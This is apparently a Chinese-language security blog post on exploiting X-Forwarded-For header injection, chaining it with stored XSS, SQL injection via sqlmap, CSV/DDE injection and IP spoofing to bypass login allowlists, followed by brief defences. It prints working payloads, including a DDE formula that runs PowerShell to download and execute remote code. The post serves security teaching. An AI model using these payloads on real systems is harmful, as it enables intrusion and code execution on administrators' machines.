XFF注入漏洞的进阶利用
前言
本篇文章从 X-Forwarded-For 注入漏洞出发,结合XSS、Sqli、CSV注入等漏洞,挖掘其可能存在安全隐患的场景,从而更好的进行防御。
原理
服务端获取客户端请求IP地址,常见的包括:x-forwarded-for、client-ip等请求头,以及remote_addr参数。
remote_addr:指的是当前直接请求的客户端IP地址,无法伪造。
x-forwarded-for,即XFF,是很多代理服务器在请求转发时添加上去的,可以伪造。
client-ip同XFF,也是代理服务器添加的用于转发客户端请求的真实IP地址,同样保存与请求头中。
大多数Web网站想要获取的是用户的IP,而不是用户使用代理后的IP,所以一般都会使用x-forwarded-for来获取ip。
这也是X-Forwarded-For注入存在的前提。
XSS
X-Forwarded-For 存在 XSS 的场景一般是在后台日志记录处,因为大部分后台的日志管理处都会记录用户执行操作对应的IP,然后回显到界面中。
随意访问一个功能点,使用burpsuite抓包,构造X-Forwarded-For头:
1 | X-Forwarded-For: <script>console.log('xss')</script> |
为了避免不必要的麻烦,尽量不要使用弹窗 payload。
回到查看系统日志处,打开F12,查看控制台是否输出 ‘xss’ 字符。
Sqli
X-Forwarded-For 头存在sql注入的场景一般是网站将请求的 X-Forwarded-For 头的值保存到数据库中。
1、输入登录用户名和密码Burp抓包并在数据包的请求头中添加
1 | X-Forwarded-For: * |
这里的*会让sqlmap重点扫描
2、将包内容复制到记事本命名为test.txt,使用sqlmap直接扫。
1 | python sqlmap.py -r 1.txt --batch |
如果存在sql注入的话,会直接扫出来。
CSV注入
这种场景比较少见,需要满足如下条件:
1.后台日志记录的ip从X-Forwarded-For处获取,且没有进行过滤;
2.日志不经过过滤可以导出成csv表格。
这时候就可以 X-Forwarded-For 注入 + csv注入漏洞就有可能造成较大危害了,虽然现在注入命令执行时软件会有提示是否信任,但是企业员工是通过后台导出的表格,所以大概率会相信这个文件是安全的。
CSV注入原理
我们知道在 Excel 中是可以运行计算公式的: =1+5 ,它会将以 = 开头的单元格内容解释成公式并运行,单纯的运行计算公式可能没什么用,但这里可以用到 DDE 。Dynamic Data Exchange(DDE)是一款来自微软的古老技术,它是 Windows 下的一种跨进程通信的协议,支持 Microsoft Excel, LibreOffice 和 Apache OpenOffice。
虽然单元格的内容在引号内,但由于第一个字符是**=**,它以一个表达式的形式被处理,实际上包括 **= - + @**这样的符号都会触发这种行为,正常来说,如果数据量比较大的情况下,管理员一般不会花那么多时间去一个个检查输入内容是否正常。
检测方式和 XSS 的检测方式相同,只不过需要把payload换成
1 | X-Forwarded-For: =1+1 |
导出csv文件后,如果该列变成2,说明我们可以注入恶意代码。
例如注入powershell上线payload
1 | =cmd|'/C powershell IEX(wget url)'!A0 |
伪造登录IP绕过登录
存在的场景一般是,登录后台的时候,服务器对登录IP进行了限制,例如 IP禁止访问等,403禁止访问等,只允许特定的IP访问。
尝试把 X-Forwarded-For 指定为 127.0.0.1,也许可以绕过。
1 | X-Forwarded-For : 127.0.0.1 |
防御措施
1.对于直接使用的 Web 应用,必须使用从TCP连接中得到的 remote_addr,才是用户真实的IP;
2.服务端对 X-Forwarded-For 的值进行检测和过滤,丢弃不符规范的请求。
3.使用waf对网站进行防护,可以有效过滤恶意payload。
总结
以上就是 X-Forwarded-For 注入适用的场景、攻击和防护手段。
X-Forwarded-For 注入虽然只是鸡肋漏洞,但是发散思维,结合各种其他漏洞,就可能收获意想不到的效果。